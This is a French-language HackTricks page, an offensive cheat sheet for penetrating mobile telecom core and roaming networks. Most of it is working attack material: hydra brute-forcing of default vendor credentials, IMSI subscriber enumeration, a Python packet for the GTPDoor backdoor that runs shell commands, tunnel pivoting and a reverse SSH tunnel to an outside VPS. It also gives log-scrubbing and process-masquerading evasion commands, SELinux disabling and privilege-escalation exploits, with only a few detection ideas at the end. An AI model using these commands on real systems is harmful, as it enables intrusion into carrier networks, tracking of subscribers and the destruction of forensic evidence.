Exploitation des Réseaux Télécom (GTP / Environnements de Roaming)
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
note
Les protocoles de cœur mobile (GPRS Tunnelling Protocol – GTP) traversent souvent des infrastructures de roaming GRX/IPX semi-fiables. Comme ils fonctionnent sur UDP simple avec presque aucune authentification, tout point d'accès à l'intérieur d'un périmètre télécom peut généralement atteindre directement les plans de signalisation de base. Les notes suivantes rassemblent des astuces offensives observées sur le terrain contre SGSN/GGSN, PGW/SGW et d'autres nœuds EPC.
1. Reconnaissance & Accès Initial
1.1 Comptes OSS / NE par Défaut
Un ensemble étonnamment large d'éléments de réseau de fournisseurs est livré avec des utilisateurs SSH/Telnet codés en dur tels que root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … Une liste de mots dédiée augmente considérablement le succès des attaques par force brute :
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Si l'appareil n'expose qu'un VRF de gestion, pivotez d'abord via un hôte de saut (voir la section «SGSN Emu Tunnel» ci-dessous).
1.2 Découverte d'hôtes à l'intérieur de GRX/IPX
La plupart des opérateurs GRX permettent encore ICMP echo à travers le backbone. Combinez masscan
avec les sondes UDP gtpv1
intégrées pour cartographier rapidement les écouteurs GTP-C :
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Énumération des abonnés – cordscan
L'outil Go suivant crée des paquets GTP-C Create PDP Context Request et enregistre les réponses. Chaque réponse révèle le SGSN / MME actuel servant l'IMSI interrogé et, parfois, le PLMN visité par l'abonné.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Drapeaux clés :
--imsi
IMSI de l'abonné cible--oper
Foyer / HNI (MCC+MNC)-w
Écrire des paquets bruts dans pcap
Des constantes importantes à l'intérieur du binaire peuvent être patchées pour élargir les analyses :
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Exécution de code via GTP – GTPDoor
GTPDoor
est un petit service ELF qui écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant. Lorsque la charge utile commence par une balise pré-partagée, le reste est déchiffré (AES-128-CBC) et exécuté via /bin/sh -c
. Les stdout/stderr sont exfiltrés à l'intérieur des messages Echo Response afin qu'aucune session externe ne soit jamais créée.
Paquet PoC minimal (Python) :
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Détection :
- tout hôte envoyant des Echo Requests déséquilibrés aux IPs SGSN
- le drapeau de version GTP réglé sur 1 tandis que le type de message = 1 (Echo) – déviation par rapport à la spécification
4. Pivotement à travers le cœur
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
fournit un émulateur SGSN capable de établir un contexte PDP vers un vrai GGSN/PGW. Une fois négocié, Linux reçoit une nouvelle interface tun0
accessible depuis le pair en itinérance.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Avec un hair-pinning de pare-feu approprié, ce tunnel contourne les VLANs uniquement de signalisation et vous amène directement dans le data plane.
4.2 Tunnel SSH inversé sur le port 53
Le DNS est presque toujours ouvert dans les infrastructures de roaming. Exposez un service SSH interne à votre VPS écoutant sur :53 et revenez plus tard de chez vous :
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Vérifiez que GatewayPorts yes
est activé sur le VPS.
5. Canaux Clandestins
Canal | Transport | Décodage | Remarques |
---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | clé de 4 octets + morceaux de 14 octets (XOR) | écouteur passif pur, pas de trafic sortant |
DNS – NoDepDNS | UDP 53 | XOR (clé = funnyAndHappy ) encodé dans les octets d'enregistrement A | surveille le sous-domaine *.nodep |
GTP – GTPDoor | UDP 2123 | blob AES-128-CBC dans IE privé | se mélange avec le bruit légitime de GTP-C |
Tous les implants mettent en œuvre des surveillants qui timestomp leurs binaires et se réactivent s'ils plantent.
6. Feuille de Triche pour l'Évasion de Défense
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Élévation de privilèges sur les NE hérités
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Conseil de nettoyage :
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Boîte à outils
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– outils personnalisés décrits dans les sections précédentes.FScan
: balayages TCP intranet (fscan -p 22,80,443 10.0.0.0/24
)Responder
: WPAD malveillant LLMNR/NBT-NSMicrosocks
+ProxyChains
: pivotement SOCKS5 légerFRP
(≥0.37) : traversée NAT / pontage d'actifs
Idées de détection
- Tout appareil autre qu'un SGSN/GGSN établissant des demandes de création de contexte PDP.
- Ports non standards (53, 80, 443) recevant des poignées de main SSH provenant d'IP internes.
- Demandes Echo fréquentes sans réponses Echo correspondantes – pourraient indiquer des balises GTPDoor.
- Taux élevé de trafic de réponse ICMP echo avec de grands champs d'identifiant/séquence non nuls.
Références
- Palo Alto Unit42 – Infiltration des réseaux de télécommunications mondiaux
- 3GPP TS 29.060 – Protocole de tunneling GPRS (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.